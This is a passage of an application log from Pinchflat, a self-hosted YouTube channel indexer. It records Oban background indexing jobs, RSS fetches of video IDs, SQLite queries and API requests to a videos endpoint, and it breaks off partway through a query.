{"args":{"id":1},"id":776,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":179433,"event":"job:stop","queue_time":495764,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:21:23.414 [debug] QUERY OK source="tasks" db=0.2ms idle=1.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:21:27.656 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:38.249 [info] {"args":{"id":3},"id":777,"meta":{},"system_time":1784924498249241286,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:21:38.249 [debug] QUERY OK source="sources" db=0.1ms idle=1807.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:21:38.249 [debug] QUERY OK source="settings" db=0.1ms idle=807.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:21:38.249 [debug] QUERY OK source="tasks" db=0.3ms idle=1006.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:21:38.249 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:21:38.250 [debug] QUERY OK source="sources" db=0.1ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:21:38.250 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:21:38.250 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 20:21:38.435 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 20:21:38.435 [debug] QUERY OK source="media_items" db=0.2ms idle=185.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 20:21:38.437 [debug] QUERY OK source="media_items" db=1.7ms idle=186.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 20:21:38.438 [debug] QUERY OK source="tasks" db=0.0ms idle=188.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [780, 3, ~U[2026-07-24 20:21:38Z], ~U[2026-07-24 20:21:38Z]] 20:21:38.438 [info] {"args":{"id":3},"id":777,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":189166,"event":"job:stop","queue_time":528861,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:21:38.438 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:21:40.294 [info] GET /api/v1/videos 20:21:40.294 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 20:21:40.316 [debug] QUERY OK source="media_items" db=22.2ms idle=1049.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 20:21:40.367 [info] Sent 200 in 73ms 20:21:57.657 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.969 [info] {"source":"oban","duration":100,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:22:23.788 [info] GET /api/v1/videos 20:22:23.789 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 20:22:23.809 [debug] QUERY OK source="media_items" db=20.7ms idle=1347.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 20:22:23.858 [info] Sent 200 in 69ms 20:22:27.658 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:57.660 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.971 [info] {"source":"oban","duration":132,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:23:27.661 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:57.662 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.971 [info] {"source":"oban","duration":107,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:24:27.663 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:57.665 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.972 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:25:27.667 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:57.668 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.974 [info] {"source":"oban","duration":269,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:26:27.669 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:57.670 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.975 [info] {"source":"oban","duration":102,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:27:27.671 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:57.672 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.976 [info] {"source":"oban","duration":1095,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:28:27.673 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:57.674 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.977 [info] {"source":"oban","duration":85,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:29:27.675 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:57.676 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.978 [info] {"source":"oban","duration":122,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:30:27.677 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:57.678 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.980 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:31:15.869 [info] {"args":{"id":2},"id":778,"meta":{},"system_time":1784925075869286167,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:31:15.869 [debug] QUERY OK source="sources" db=0.1ms idle=427.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:31:15.870 [debug] QUERY OK source="settings" db=0.3ms idle=427.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:15.873 [debug] QUERY OK source="media_profiles" db=2.9ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:15.873 [debug] QUERY OK source="tasks" db=3.5ms idle=427.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:15.873 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:31:15.873 [debug] QUERY OK source="settings" db=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:15.873 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 20:31:16.132 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 20:31:16.132 [debug] QUERY OK source="media_items" db=0.2ms idle=262.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 20:31:16.133 [debug] QUERY OK source="media_items" db=0.2ms idle=259.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 20:31:16.133 [debug] QUERY OK source="tasks" db=0.0ms idle=260.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [781, 2, ~U[2026-07-24 20:31:16Z], ~U[2026-07-24 20:31:16Z]] 20:31:16.134 [info] {"args":{"id":2},"id":778,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":264622,"event":"job:stop","queue_time":972951,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:31:16.134 [debug] QUERY OK source="tasks" db=0.1ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:23.879 [info] {"args":{"id":1},"id":779,"meta":{},"system_time":1784925083879228483,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:31:23.879 [debug] QUERY OK source="sources" db=0.1ms idle=437.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:23.879 [debug] QUERY OK source="tasks" db=0.2ms idle=437.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:23.879 [debug] QUERY OK source="settings" db=0.0ms idle=437.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:23.880 [debug] QUERY OK source="sources" db=0.1ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:23.880 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:23.880 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:23.880 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 20:31:24.077 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 20:31:24.077 [debug] QUERY OK source="media_items" db=0.3ms idle=197.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 20:31:24.080 [debug] QUERY OK source="media_items" db=2.2ms idle=198.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN 